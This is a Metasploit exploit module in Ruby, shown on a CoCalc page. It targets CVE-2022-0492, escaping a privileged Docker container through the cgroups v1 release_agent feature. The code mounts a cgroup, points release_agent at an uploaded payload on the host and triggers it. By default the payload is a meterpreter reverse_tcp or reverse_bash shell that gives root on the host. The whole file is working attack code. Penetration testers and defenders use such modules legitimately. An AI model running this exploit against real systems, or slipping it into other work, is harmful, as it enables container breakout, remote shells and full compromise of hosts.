CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
8

9
  include Msf::Post::Linux::Priv
10
  include Msf::Post::Linux::Kernel
11
  include Msf::Post::File
12
  include Msf::Exploit::EXE
13
  include Msf::Exploit::FileDropper
14

15
  prepend Msf::Exploit::Remote::AutoCheck
16

17
  def initialize(info = {})
18
    super(
19
      update_info(
20
        info,
21
        'Name' => 'Docker cgroups Container Escape',
22
        'Description' => %q{
23
          This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability.
24
          If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.
25

26
          A vulnerability was found in the Linux kernel's cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function.
27
          This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges
28
          and bypass the namespace isolation unexpectedly.
29

30
          More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates.
31
          If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file,
32
          an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent
33
          file is owned by root, so only a user with root access can modify it.
34
        },
35
        'License' => MSF_LICENSE,
36
        'Author' => [
37
          'h00die', # msf module
38
          'Yiqi Sun', # discovery
39
          'Kevin Wang', # discovery
40
          'T1erno', # POC
41
        ],
42
        'Platform' => [ 'unix', 'linux' ],
43
        'SessionTypes' => ['meterpreter'],
44
        'DefaultOptions' => {
45
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
46
        },
47
        'Privileged' => true,
48
        'References' => [
49
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af'],
50
          [ 'URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'],
51
          [ 'URL', 'https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC'],
52
          [ 'URL', 'https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492'],
53
          [ 'URL', 'https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker/blob/main/escape-check.sh'],
54
          [ 'URL', 'https://pwning.systems/posts/escaping-containers-for-fun/'],
55
          [ 'URL', 'https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html'],
56
          [ 'URL', 'https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation'],
57
          [ 'URL', 'https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/'],
58
          [ 'CVE', '2022-0492']
59
        ],
60
        'DisclosureDate' => '2022-02-04',
61
        'Targets' => [
62
          ['BINARY', { 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } }],
63
          ['CMD', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }]
64
        ],
65
        'DefaultTarget' => 0,
66
        'Notes' => {
67
          'Stability' => [CRASH_SAFE],
68
          'Reliability' => [REPEATABLE_SESSION],
69
          'SideEffects' => [ARTIFACTS_ON_DISK]
70
        }
71
      )
72
    )
73
    register_advanced_options [
74
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
75
    ]
76
  end
77

78
  def base_dir
79
    datastore['WritableDir']
80
  end
81

82
  def check
83
    print_status('Unable to determine host OS, this check method is unlikely to be accurate if the host isn\'t Ubuntu')
84
    release = kernel_release
85
    # https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-0492
86
    release_short = Rex::Version.new(release.split('-').first)
87
    release_long = Rex::Version.new(release.split('-')[0..1].join('-'))
88
    if release_short >= Rex::Version.new('5.13.0') && release_long < Rex::Version.new('5.13.0-37.42') || # Ubuntu 21.10
89
       release_short >= Rex::Version.new('5.4.0') && release_long < Rex::Version.new('5.4.0-105.119') || # Ubuntu 20.04 LTS
90
       release_short >= Rex::Version.new('4.15.0') && release_long < Rex::Version.new('4.15.0-173.182') || # Ubuntu 18.04 LTS
91
       release_short >= Rex::Version.new('4.4.0') && release_long < Rex::Version.new('4.4.0-222.255') # Ubuntu 16.04 ESM
92
      return CheckCode::Vulnerable("IF host OS is Ubuntu, kernel version #{release} is vulnerable")
93
    end
94

95
    CheckCode::Safe("Kernel version #{release} may not be vulnerable depending on the host OS")
96
  end
97

98
  def exploit
99
    # Check if we're already root as its required
100
    fail_with(Failure::NoAccess, 'The exploit needs a session as root (uid 0) inside the container') unless is_root?
101

102
    # create mount
103
    folder = rand_text_alphanumeric(5..10)
104
    @mount_dir = "#{base_dir}/#{folder}"
105
    register_dir_for_cleanup(@mount_dir)
106
    vprint_status("Creating folder for mount: #{@mount_dir}")
107
    mkdir(@mount_dir)
108
    print_status('Mounting cgroup')
109
    cmd_exec("mount -t cgroup -o rdma cgroup '#{@mount_dir}'")
110
    group = rand_text_alphanumeric(5..10)
111
    group_full_dir = "#{@mount_dir}/#{group}"
112
    vprint_status("Creating folder in cgroup for exploitation: #{group_full_dir}")
113
    mkdir(group_full_dir)
114

115
    print_status("Enabling notify on release for group #{group}")
116
    write_file("#{group_full_dir}/notify_on_release", '1')
117

118
    print_status('Determining the host OS path for image')
119
    # for this, we need the line that starts with overlay, and contains an 'upperdir' parameter, which we want the value of
120
    mtab_file = read_file('/etc/mtab')
121
    host_path = nil
122
    mtab_file.each_line do |line|
123
      next unless line.start_with?('overlay') && line.include?('perdir') # upperdir
124

125
      line.split(',').each do |parameter|
126
        next unless parameter.start_with?('upperdir')
127

128
        parameter = parameter.split('=')
129
        fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') unless parameter.length > 1
130
        host_path = parameter[1]
131
      end
132
      break
133
    end
134

135
    fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') if host_path.nil? || host_path.empty? || host_path.start_with?('sed') # start_with catches repeat of command
136

137
    vprint_status("Host OS path for image: #{host_path}")
138

139
    payload_path = "#{base_dir}/#{rand_text_alphanumeric(5..10)}"
140
    print_status("Setting release_agent path to: #{host_path}#{payload_path}")
141
    write_file "#{@mount_dir}/release_agent", "#{host_path}#{payload_path}"
142

143
    print_status("Uploading payload to #{payload_path}")
144
    if target.name == 'CMD'
145
      # for whatever reason it's unhappy and wont run without the /bin/sh header
146
      upload_and_chmodx payload_path, "#!/bin/sh\n#{payload.encoded}\n"
147
    elsif target.name == 'BINARY'
148
      upload_and_chmodx payload_path, generate_payload_exe
149
    end
150
    register_files_for_cleanup(payload_path)
151

152
    print_status("Triggering payload with command: sh -c \"echo \$\$ > #{group_full_dir}/cgroup.procs\"")
153
    cmd_exec(%(sh -c "echo \$\$ > '#{group_full_dir}/cgroup.procs'"))
154
  end
155

156
  def cleanup
157
    if @mount_dir
158
      vprint_status("Cleanup: Unmounting #{@mount_dir}")
159
      cmd_exec("umount '#{@mount_dir}'")
160
    end
161
    super
162
  end
163
end
164

165